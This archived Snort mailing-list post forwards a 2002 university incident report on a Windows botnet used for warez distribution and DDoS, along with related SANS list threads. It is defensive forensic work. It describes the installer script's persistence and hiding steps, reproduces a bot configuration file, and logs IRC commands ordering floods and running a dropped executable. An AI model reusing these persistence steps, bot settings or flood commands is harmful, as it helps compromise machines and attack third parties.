Snort mailing list archives
RE: WIN2K IRC Trojan
From: "F.M. Taylor" <root () uranium indstate edu>
Date: Fri, 6 Sep 2002 16:25:05 -0500 (EST)
This is what I have found...
From dittrich () cac washington edu Fri May 31 12:56:20 2002
Date: Fri, 3 May 2002 10:27:08 -0700 (PDT)
Subject: World-wide distributed DoS and "warez" bot networks (fwd)
From: Dave Dittrich <dittrich () cac washington edu>
To: Incidents Mailing List <INCIDENTS () securityfocus com>, unisog () sans org
[Note: I just noticed last night, after giving a talk on this
incident, that several threads on the SANS Unisog list going back as
far as February 18, 2002 have discussed this same botnet in generality
and in some detail, so I can't claim to be the first to analyze this
botnet. That credit goes to Christopher E. Cramer of Duke
University. (That's what I get for letting myself get so far behind
on email, and for not studying all sources of information I had
available to me when we first started seeing problems. Hopefully
someone on the unisog list will cross-post to incidents () securityfocus com
when a widespread incident like this pops up next time. ;)
The Unisog threads can be found here:
http://staff.washington.edu/dittrich/misc/ddos/unisog-xdcc.txt
Since all this work was already done, I'll still post what I have
assembled with the assistance of Mike Hornung and Alexander Howard at
the UW, in hopes I'm adding something new in the way of tools and
techniques (see my CanSecWest talk slides referenced at bottom) that
will help speed up response the next time one of these massive botnets
is assembled using compromised computers.]
Summary
=======
Over the months of March through late April of 2002, the University of
Washington has seen multiple incidents of distributed "warez" (pirated
software) and denial of service (DDoS) attacks, coming from
Windows 2000 and NT systems. These systems all have several things in
common:
o They appeared to be found with no password on the
Administrator account, and control taken over.
o They had various IRC bots installed on them, including
knight.exe, GTbot, and X-DCC (a distributed "warez"
serving bot.)
o They had the ServUFTP daemon running on them for incoming
file transfer (to load the "warez".)
o They had Firedaemon (a program that registers programs for
execution to serve incoming connections, similar to the Unix
"inetd" daemon.)
Details
=======
Forensic analysis of hard drive contents and IRC traffic has revealed
the methods and signatures of the malware installed on the compromised
systems. To date we are not 100% sure of exactly how the initial
backdoor installation occurs, but it appears to involve remote shell
access (via telnetd). Whatever it is, the next step is to transfer a
script onto the system and run it to bootstrap the rest of the
installation of backdoors, bots, FTP server, and other support
programs, the modification of directory/file permissions
and attributes to hide files, and changes to registry settings
to make programs run at each boot. On some system, FTP is also used
to later transfer files onto the compromised system.
The script does the following:
o Creates a directory under the C:\RECYCLER directory, and marks
it hidden and system directory.
o Kills any previously running instances of itself.
o Installs Firedeamon, and changes it (and other support programs)
to be system/hidden.
o Uses tftp to download IRC bot configuration files from a temporary
cache (on another compromised system)
o Does a "net user administrator changem" and deletes the
ipc$ file share.
o Starts the Firedaemon and registers services named "Ms32dll",
"SVHOST" and "MSVC5"
o Creates a file to set the following Registry settings, then
runs "regedit" on this file:
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\]
restrictanonymous"="1"
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\TelnetServer\1.0\]
"NTLM"="2"
o Cleans up some files, and stops and deletes the following
services: "tlntsvr" and "PSEXESVC"
o (Re)Starts the following services: "lmhosts" and "NtLmSsp"
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
user_nick [XDCC]XXXX-649
slotsmax 20
loginname XXXXX
filedir C:\RECYCLER\S-1-5-21-2686636377-1107193052-384560437-1000
uploaddir C:\RECYCLER\S-1-5-21-2686636377-1107193052-384560437-1000
xdccfile c:\winnt\system32\vmn32\asp\mybot.xdcc
pidfile c:\winnt\system32\vmn32\asp\mybot.pid
server irc.XXXXXX.net 6667
server irc.XXXXXX.net 7000
server XXXX.XXXXX.net 6667
server XXXX.XXXXX.net 7000
server XXX.XXX.XX.XXX 6667
logrotate weekly
messagefile c:\winnt\system32\vmn32\asp\mybot.msg
ignorefile c:\winnt\system32\vmn32\asp\mybot.ignl
channel #XDCC -plist 15
user_realname XDCC
user_modes +i
virthost no
vhost_ip virtip.domain.com
firewall no
dccrangestart 4000
queuesize 20
slotsmaxpack 0
slotsmaxslots 5
slotsmaxqueue 10
maxtransfersperperson 1
maxqueueditemsperperson 1
restrictlist yes
restrictsend yes
overallminspeed 5.0
transfermaxspeed 0
overallmaxspeed 2000
overallmaxspeeddayspeed 0
overallmaxspeeddaytime 9 17
overallmaxspeeddaydays MTWRF
debug no
autosend no
autoword bleh
automsg bleh
autopack 1
xdccautosavetime 15
creditline ^2Brought to you by #XDCC^2
adminpass Xv8h8aXknm8J5z
adminhost *!*@*.XXXXXX.net
adminhost *!*@*.cia.gov
uploadallowed no
uploadmaxsize 900
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
A search of Google for the terms "+X-DCC +XDCC +bot" comes up with
several hits, including the following list of the top IRC networks.
The X-DCC/XDCC related channels (including channels found on many
of the compromised systems at the UW) were the majority of the top
channels on this site:
http://62.27.120.133/networks/chanlist.shtml
The signature of these particular bots can be identified by the
string ":Total Offered:" (the amount of disc space used for "warez"
on the system, to be served by the bot):
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
T 2002/04/18 08:30:18.768002 10.1.1.1:6667 -> 192.168.2.2:3852 [AP]
:[f0]-XDCC230!~accute () foo-0000000 bar asu edu PRIVMSG #XXXXXXXXXX
:.**. .Brought to you by #XXXXXXXXXXXXX. .**...:[f0]-XDCC230!~accute@
foo-0000000.bar.asu.edu PRIVMSG #XXXXXXXXX :.**. .Brought to you by #X
XXXXXXXXXXXX. .**...
T 2002/04/18 08:30:20.452092 217.199.39.139:7000 -> 128.208.113.130:1031
[AP]
:[f0]-XDCC230!~accute () foo-0000000 bar asu edu PRIVMSG #XXXXXXXXXX
:Total Offered: 1223.5 MB Total Transferred: 419.19 MB..:[f0]-XDCC230
!~accute () foo-0000000 bar asu edu PRIVMSG #XXXXXXXXX :Total Offered: 1
223.5 MB Total Transferred: 419.19 MB..:[f0]-XDCC230!~accute@foo-000
0000.bar.asu.edu PRIVMSG #XXXXXXXXX :Total Offered: 1223.5 MB Tota
l Transferred: 419.19 MB..
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Using this information, a capture of all IRC traffic across the border
of the network was performed and a script written ("findoffer") to
parse and summarize the totals. Sampling IRC traffic to/from a set of
9 compromised systems (tcpdump filter "tcp port 6667 and tcp port
7000"), and using "findoffer", as many as 419 bots in 22 IRC channels,
serving a total of 556.18 GB (yes, over half a Terabyte!!! and that
is just from bots in some of the X-DCC channels, not all of them.)
[Note that IRC can be run over any port besides just 6667/tcp and
7000/tcp, so I expect that these bots will likely move off of public
servers to rogue servers on compromised systems, and to use
ports other than the standard 6666/tcp - 7000/tcp.]
In addition to file sharing, many (all?) of these systems were
at least capable, if not actually used for, distributed denial of
service (DDoS) attacks. Dozens of attacks have been attributed to the
same group who installed these warez bots. Here is one such use:
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
T 2002/03/27 02:28:31.434846 192.168.0.220:6667 -> 10.0.0.1:3164 [AP]
:ns.example.net 404 KNIGHT77tdtR #doschan :Cannot send t
o channel..:badd_kittycatN0yb!~moonglow () dc00 foonet gatech edu PRIVM
SG #doschan :[login accepted]..
T 2002/03/27 02:28:31.986647 192.168.0.220:6667 -> 10.0.0.1:3164 [AP]
:ns.example.net 404 KNIGHT77tdtR #doschan :Cannot send t
o channel..:badd_kittycatN0yb!~moonglow () d000 foonet gatech edu PRIVM
SG #doschan :[packeting 192.168.32.94 at 64000kb/s 10000000 times]..
:vodkidWT!~zoolander () grd0000 foo uiuc edu PRIVMSG #doschan :[packet
ing 192.168.32.94 at 64000kb/s 10000000 times]..
. . .
T 2002/03/27 05:25:31.491814 192.168.0.220:6667 -> 10.0.0.1:3164 [AP]
:foobar!foo () staff botnet net PRIVMSG #doschan :.run c:\w
innt\system32\temp.exe..:XXXXXXXXXXZ2vco!~XXXXXX@A000000.N0.Vanderbilt
.Edu PRIVMSG #doschan :[running c:\winnt\system32\temp.exe]..
T 2002/03/27 05:25:31.493483 10.0.0.1:3164 -> 192.168.0.220:6667 [AP]
PRIVMSG #doschan :[running c:\winnt\system32\temp.exe]..
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Two DDoS bots have been seen in use in conjunction with this activity:
"knight.exe" and "GTbot". ("knight.exe" is the Unix "knight.c" program,
compiled with the Cygwin development libraries.) These programs
are described here:
http://www.cert.org/archive/pdf/DoS_trends.pdf
http://bots.lockdowncorp.com/gtbot.html
The UDP traffic (seen by "tcpdump") during a GTbot attack shows some
unusual packets:
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
1017207252.687968 192.168.32.126.1646 > 10.203.32.94.37046: rad-#43 837
[id 32
] Attr[ Acct_out_octets{length 30 != 4} ARAP_zone_acces{length 46 != 4}
NAS_id{
+ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH} Acct_out_packets{length 41 !=
4} ARAP
_challenge_resp{302B202B202B4154}|radius}
ARAP_challenge_resp{302B202B202B4154}|
radius} ARAP_challenge_resp{302B202B202B4154}|radius}
ARAP_challenge_resp{302B20
2B202B4154}|radius} ARAP_challenge_resp{302B202B202B4154}|radius}
ARAP_challenge
_resp{302B202B202B4154}|radius}
ARAP_challenge_resp{302B202B202B4154}|radius} AR
AP_challenge_resp{302B202B202B4154}|radius}
ARAP_challenge_resp{302B202B202B4154
}|radius} [|radius]
. . .
1017207256.282173 192.168.32.126.1645 > 10.203.32.94.24413: rad-#64 440
[id 64
] Attr[ Tunnel_type{length 62 != 4} Tunnel_type{length 62 != 4}
Tunnel_type{len
gth 62 != 4} Tunnel_type{length 62 != 4} Tunnel_type{length 62 != 4}
Tunnel_type
{length 62 != 4} [|radius]
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Seen by "ngrep", there is a strange kind of UDP flood:
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
U 2002/03/26 21:34:16.284428 192.168.32.126:2892 -> 10.203.32.94:19192
+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +AT
H0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +
ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ +
+ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+
+ +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH
0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +A
TH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ +
+ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+
+ +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0
+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +AT
H0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +
ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0
U 2002/03/26 21:34:16.284790 192.168.32.126:3099 -> 10.203.32.94:61749
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@
U 2002/03/26 21:34:16.285599 192.168.32.126:2767 -> 10.203.32.94:44393
!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!
^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%
!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!
^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%
!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!
^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%
!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!
^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%
!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!
^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%
!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!
^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%
!@#%!^@)
U 2002/03/26 21:34:16.286329 192.168.32.126:4403 -> 10.203.32.94:56289
!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!
^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%
!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!
^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%
!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!
^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%
!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!
^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%
!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!
^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%
!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!
^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%!@#%!^@)&!^&!*&!%&!%
!@#%!^@)
U 2002/03/26 21:34:16.287070 192.168.32.126:4008 -> 10.203.32.94:39934
+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +AT
H0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +
ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ +
+ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+
+ +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH
0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +A
TH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ +
+ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+
+ +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0
+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +AT
H0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +
ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0+ + +ATH0
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Apparent IRC traffic confirms there is a DDoS bot on this system:
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
T 2002/03/26 21:36:43.468911 192.168.32.126:1135 -> 10.76.175.220:7666
[AP]
PRIVMSG #doschan :.S.ending [.64,000.kb] of Data to (10.203.32.94).
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Seen by "tcpdump", one of the attack methods of this tool uses IP
protocol 255 (listed as "Reserved" by IANA). These attacks use both
large packets (requiring fragmentation) and small packets. [Note:
Network monitoring tools that only log TCP, UDP, and ICMP protocols
will not see this attack traffic at all.]
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Fri Mar 22 20:54:59 2002
1016859299.879744 192.168.0.1 > 10.209.12.152: ip-proto-255 1480 (frag
37686:1480@0+)
1016859299.879745 192.168.0.1 > 10.209.12.152: (frag 37686:20@1480)
1016859299.881140 192.168.0.1 > 10.209.12.152: ip-proto-255 1480 (frag
37687:1480@0+)
1016859299.881141 192.168.0.1 > 10.209.12.152: (frag 37687:20@1480)
1016859299.882465 192.168.0.1 > 10.209.12.152: ip-proto-255 1480 (frag
37688:1480@0+)
1016859299.882465 192.168.0.1 > 10.209.12.152: (frag 37688:20@1480)
1016859299.883866 192.168.0.1 > 10.209.12.152: ip-proto-255 1480 (frag
37689:1480@0+)
Sat Mar 23 13:13:25 2002
1016918005.627814 192.168.0.1 > 10.99.102.100: ip-proto-255 52
1016918005.627905 192.168.0.1 > 10.99.102.100: ip-proto-255 52
1016918005.627986 192.168.0.1 > 10.99.102.100: ip-proto-255 52
1016918005.628120 192.168.0.1 > 10.99.102.100: ip-proto-255 52
1016918005.628180 192.168.0.1 > 10.99.102.100: ip-proto-255 52
1016918005.628282 192.168.0.1 > 10.99.102.100: ip-proto-255 52
1016918005.628342 192.168.0.1 > 10.99.102.100: ip-proto-255 52
1016918005.628448 192.168.0.1 > 10.99.102.100: ip-proto-255 52
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Seen with Foundstone's "FPort" program, the program showed the
following open port:
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
FPort v1.33 - TCP/IP Process to Port Mapper
Copyright 2000 by Foundstone, Inc.
http://www.foundstone.com
Pid Process Port Proto Path
2 System -> 80 TCP
187 inetinfo -> 80 TCP
C:\WINNT\System32\inetsrv\inetinfo.exe
2 System -> 113 TCP
191 temp -> 113 TCP C:\WINNT\System32\temp.exe
94 RpcSs -> 135 TCP C:\WINNT\system32\RpcSs.exe
2 System -> 135 TCP
2 System -> 139 TCP
2 System -> 443 TCP
187 inetinfo -> 443 TCP
C:\WINNT\System32\inetsrv\inetinfo.exe
191 temp -> 1035 TCP C:\WINNT\System32\temp.exe
187 inetinfo -> 1036 TCP
C:\WINNT\System32\inetsrv\inetinfo.exe
187 inetinfo -> 1037 TCP
C:\WINNT\System32\inetsrv\inetinfo.exe
187 inetinfo -> 2962 TCP
C:\WINNT\System32\inetsrv\inetinfo.exe
191 temp -> 9000 TCP C:\WINNT\System32\temp.exe
2 System -> 135 UDP
2 System -> 137 UDP
2 System -> 138 UDP
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
More information on this botnet, and references to the tools used to
analyze it, were presented at CanSecWest Core02 in Vancouver, BC
on May 2. The slides and references to the tools that were used can be
found at the following location:
http://staff.washington.edu/dittrich/talks/core02/
An example report produced by "findoffer" can be found at:
http://staff.washington.edu/dittrich/misc/ddos/xdcc-report.txt
This report has been anonymized, since some of the host are
voluntarily serving files (these networks are NOT exclusively
compromised hosts running bots.) Use this script ONLY to identify
hosts on your network, and make sure you follow all applicable privacy
laws and policies of your organization regarding logging of IRC
traffic.
--
Dave Dittrich Computing & Communications
dittrich () cac washington edu University Computing Services
http://staff.washington.edu/dittrich University of Washington
PGP key http://staff.washington.edu/dittrich/pgpkey.txt
Fingerprint FE 97 0C 57 08 43 F3 EB 49 A1 0C D0 8E 0C D0 BE C8 38 CC B5
----------------------------------------------------------------------------
This list is provided by the SecurityFocus ARIS analyzer service.
For more information on this free incident handling, management
and tracking system please see: http://aris.securityfocus.com
From chris.cramer () duke edu Thu May 2 23:42:01 2002
Date: Mon, 18 Feb 2002 18:11:34 -0500 (EST) Subject: [unisog] hacked university machines From: Christopher E. Cramer <chris.cramer () duke edu> To: unisog () sans org I received information that there are some hacked university machines being used to distribute movies, games, software, etc in an IRC channel called #DiVX-DCC on the Undernet IRC network. I've poked at the Duke machines and they seem to have the IRC software installed in \winnt\system32\sysfiles The common thread on the Duke machines appears to be that they all had no Administrator password set. This is probably something that y'all should look into on your campuses. Regards, Chris -- Christopher E. Cramer, Ph.D. Information Technology Security Officer Duke University, Office of Information Technology 253A North Building, Box 90132, Durham, NC 27708-0291 PH: 919-660-7003 FAX: 919-660-7076 email: chris.cramer () duke edu
From glratt () io com Thu May 2 23:42:01 2002
Date: Mon, 18 Feb 2002 17:50:57 -0600 (CST) Subject: Re: [unisog] hacked university machines From: Glenn Forbes Fleming Larratt <glratt () io com> To: unisog () sans org On Mon, 18 Feb 2002, Christopher E. Cramer wrote:
I received information that there are some hacked university machines being used to distribute movies, games, software, etc in an IRC channel called #DiVX-DCC on the Undernet IRC network.
Please clarify - is the IRC channel itself the medium of exchange,
or is the IRC channel discussing some other medium (ftp sites,
compromised webservers, alternate ports, ???)
I've poked at the Duke machines and they seem to have the IRC software installed in \winnt\system32\sysfiles
-- Glenn Forbes Fleming Larratt The Lab Ratt (not briggs :-) glratt () io com http://www.io.com/~glratt There are imaginary bugs to chase in heaven.
From chris.cramer () duke edu Thu May 2 23:42:01 2002
Date: Mon, 18 Feb 2002 21:10:05 -0500 (EST) Subject: Re: [unisog] hacked university machines From: Christopher E. Cramer <chris.cramer () duke edu> To: Glenn Forbes Fleming Larratt <glratt () io com> Cc: unisog () sans org
On Mon, 18 Feb 2002, Christopher E. Cramer wrote:I received information that there are some hacked university machines being used to distribute movies, games, software, etc in an IRC
channel
called #DiVX-DCC on the Undernet IRC network.Please clarify - is the IRC channel itself the medium of exchange, or is the IRC channel discussing some other medium (ftp sites, compromised webservers, alternate ports, ???)
Glenn, Sorry, it's been a long weekend and Monday. The IRC channel is the medium using the DCC mechanism. The hacked machines are running a script which automatically logs them into the channel where they receive instructions and can up/download files. Users of the IRC channel issue commands to the zombie machines in the form of: /msg <zombie> xdcc list /msg <zombie> xdcc send <file number> etc. The zombies periodically advertise their files for the channel participants. I have some reason to believe that other backdoors are installed on some of the machines, so it may not be safe to simply try to clean up the boxes w/o reinstalling the OS. Let me know if you have any other questions. Thanks -Chris
From Ken.Connelly () uni edu Thu May 2 23:42:01 2002
Date: Tue, 19 Feb 2002 05:50:29 -0600 Subject: Re: [unisog] hacked university machines From: Ken Connelly <Ken.Connelly () uni edu> To: unisog () sans org "Christopher E. Cramer" wrote:
On Mon, 18 Feb 2002, Christopher E. Cramer wrote:I received information that there are some hacked university
machines
being used to distribute movies, games, software, etc in an IRC
channel
called #DiVX-DCC on the Undernet IRC network.Please clarify - is the IRC channel itself the medium of
exchange,
or is the IRC channel discussing some other medium (ftp sites, compromised webservers, alternate ports, ???)Glenn, Sorry, it's been a long weekend and Monday. The IRC channel is the
medium
using the DCC mechanism. The hacked machines are running a script which automatically logs them into the channel where they receive instructions and can up/download files. Users of the IRC channel issue commands to
the
zombie machines in the form of: /msg <zombie> xdcc list /msg <zombie> xdcc send <file number> etc. The zombies periodically advertise their files for the channel participants. I have some reason to believe that other backdoors are installed on some of the machines, so it may not be safe to simply try to clean up the
boxes
w/o reinstalling the OS. Let me know if you have any other questions. Thanks -Chris
Interesting. We currently have a student's ResNet machine in the "timeout" VLAN that was offering things just this way. If he's cooperative, we may have a chance to see what has been done to his machine. -- - Ken =========================================================================== Ken Connelly (KC152) Systems and Operations Manager, ITS - Network Services University of Northern Iowa Cedar Falls, IA 50614-0121 email: Ken.Connelly () uni edu phone: (319) 273-5850 fax: (319) 273-7373
From tal1 () its nyu edu Thu May 2 23:42:01 2002
Date: Thu, 21 Mar 2002 15:38:45 -0500 Subject: [unisog] Coordinated Scan From: Tracey Losco <tal1 () its nyu edu> To: unisog () sans org Good afternoon, This morning between 7:55am and 8:55am, we were attacked on multiple subnets by multiple machines originating from various .edu sites. We are in the process of contacting the various sites now to inform them of their compromised machines. Has anyone else experienced anything similar to this, this morning? The ports that were being scanned were port 1025. This could be just a typical coordinated scan by the same individual controlling compromised hosts on various networks, but I wanted to check here and see if this is more widespread, or if anyone else has seen this type of scanning today or recently. Thanks in advance for any help that you can provide. Regards, -- -------------------------------------------------------------------- Tracey Losco Network Security Analyst security () nyu edu ITS - Network Services http://www.nyu.edu/its/security New York University (212) 998 - 3433 PGP Fingerprint: 8FFB FE47 6156 7BF0 B19E 462B 9DFE 51F5
From morrow.long () yale edu Thu May 2 23:42:01 2002
Date: Thu, 21 Mar 2002 16:53:49 -0500
Subject: Re: [unisog] Coordinated Scan
From: H. Morrow Long <morrow.long () yale edu>
To: Tracey Losco <tal1 () its nyu edu>
Cc: unisog () sans org
We saw four wide scans of our IP address space yesterday
but it was almost all scans for vuln DTSPC (port 6112).
The four big scans were:
A Swedish broadband ISP customer (scanning from
TCP port 13,000 to 13,000 - we've found hacked
SSH servers running at port 13,000).
A corporate mail server scanning us for DTSPC.
A corporate web server scanning us for DTSPC.
A .EDU resnet PC scanning us for DTSPC first and
attempting telnet vulnerability attacks later.
Some were simultaneous and some were overlapping but I'm
not certain that they were coordinated. Looks like a new
tool and or working exploit code was released to general
availability recently by the upsurge in activity - or a
new worm?
- Morrow
Tracey Losco wrote:
Good afternoon, This morning between 7:55am and 8:55am, we were attacked on multiple subnets by multiple machines originating from various .edu sites. We are in the process of contacting the various sites now to inform them of their compromised machines. Has anyone else experienced anything similar to this, this morning? The ports that were being scanned were port 1025. This could be just a typical coordinated scan by the same individual controlling compromised hosts on various networks, but I wanted to check here and see if this is more widespread, or if anyone else has seen this type of scanning today or recently. Thanks in advance for any help that you can provide. Regards, -- -------------------------------------------------------------------- Tracey Losco Network Security Analyst security () nyu edu ITS - Network Services http://www.nyu.edu/its/security New York University (212) 998 - 3433 PGP Fingerprint: 8FFB FE47 6156 7BF0 B19E 462B 9DFE 51F5
[ Part 2, "S/MIME Cryptographic Signature" ]
[ Application/X-PKCS7-SIGNATURE 5.8KB. ]
[ Unable to print this part. ]
From andy () umbc edu Thu May 2 23:42:01 2002
Date: Thu, 21 Mar 2002 17:04:00 -0500 Subject: Re: [unisog] Coordinated Scan From: Anderson Johnston <andy () umbc edu> To: Tracey Losco <tal1 () its nyu edu> Cc: unisog () sans org We've seen these before (though not this morning). It's often hard to tell a coordinated scan from a single scanner rotating a spoofed IP address (unless you know that at least one of the IPs is lives in an egress filter policy that would stop at least one of the other IPs). On Thu, 21 Mar 2002, Tracey Losco wrote:
